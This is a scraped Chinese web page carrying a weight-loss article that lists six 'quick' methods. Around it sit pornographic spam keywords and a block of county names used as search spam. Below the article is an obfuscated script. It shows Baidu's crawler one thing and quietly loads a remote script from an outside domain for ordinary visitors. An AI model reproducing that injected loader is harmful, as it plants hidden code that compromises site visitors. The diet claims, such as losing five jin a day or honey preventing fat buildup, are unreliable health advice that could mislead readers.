亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 減肥 > 減肥方法 > 正文

速效減肥方法有哪些

2017-06-12 14:53:53  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):一周,能減幾斤?答案是,想減幾斤就減幾斤。為了確保你能在裸露橫行的夏季里,成為最吸引眼球的“身材女神”,我們特別甄選最快速的6種減

一周,能減幾斤?答案是,想減幾斤就減幾斤。為了確保你能在裸露橫行的夏季里,成為最吸引眼球的“身材女神”,我們特別甄選最快速的6種減肥方法,從一周減3斤到一天減5斤,隨你挑選。

1.減3斤每天抹精油

通常每個(gè)部位大約只需5至10分鐘,讓肌膚略紅即可。每天按摩下來(lái)一周可以瘦約3至5斤,1個(gè)月后就能感覺(jué)身體更緊實(shí),3個(gè)月就有明顯的效果。

2.減5斤每天喝紅酒

紅酒中所含丹寧能有效幫助消化,亦有抗氧化功能,可使體形不會(huì)隨歲月流逝而臃腫走樣。據(jù)說(shuō)每天睡前飲一杯,可以輕松減去5斤肉。

3.減6斤每天只吃肉

臺(tái)灣歌手藍(lán)心湄曾透露,自己迅速減掉3公斤的秘密就是只吃肉。專(zhuān)家指出,吃肉減肥這樣的另類(lèi)減肥法雖然有效,但有損身體各方面機(jī)能。

4.減10斤每天吃雞蛋

雞蛋黃中含有的卵磷脂是一種乳化劑,可使脂肪膽固醇乳化成極小顆粒,從血管排除后為機(jī)體所利用。它還可使血液中的高密度脂蛋白增高。

5.減12斤每天喝蜂蜜水

蜂蜜是天然營(yíng)養(yǎng)品,它含可以燃燒人體能量的優(yōu)質(zhì)糖分和礦物質(zhì)。在一日三餐中,只要加入一些蜂蜜,就可以避免脂肪在人體中積聚下來(lái)。

6.減5斤每天天喝水清腸

清腸后感覺(jué)一身輕松,在地秤上一站,體重下降了5斤,心情大爽。身體似乎忘了幾分鐘前的腹瀉。要知道這種減肥方法是傷身的。非急可別試!

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
炉霍县| 西宁市| 邛崃市| 西青区| 大埔县| 威远县| 建瓯市| 万载县| 陈巴尔虎旗| 宜都市| 聂拉木县| 万源市| 西吉县| 铜陵市| 东方市| 唐海县| 老河口市| 衡水市| 白城市| 武冈市| 德格县| 双流县| 株洲市| 江门市| 石棉县| 祁东县| 芦溪县| 会昌县| 陆丰市| 桐庐县| 瓦房店市| 台州市| 土默特左旗| 龙门县| 长治县| 两当县| 六枝特区| 通山县| 罗田县| 施秉县| 台前县|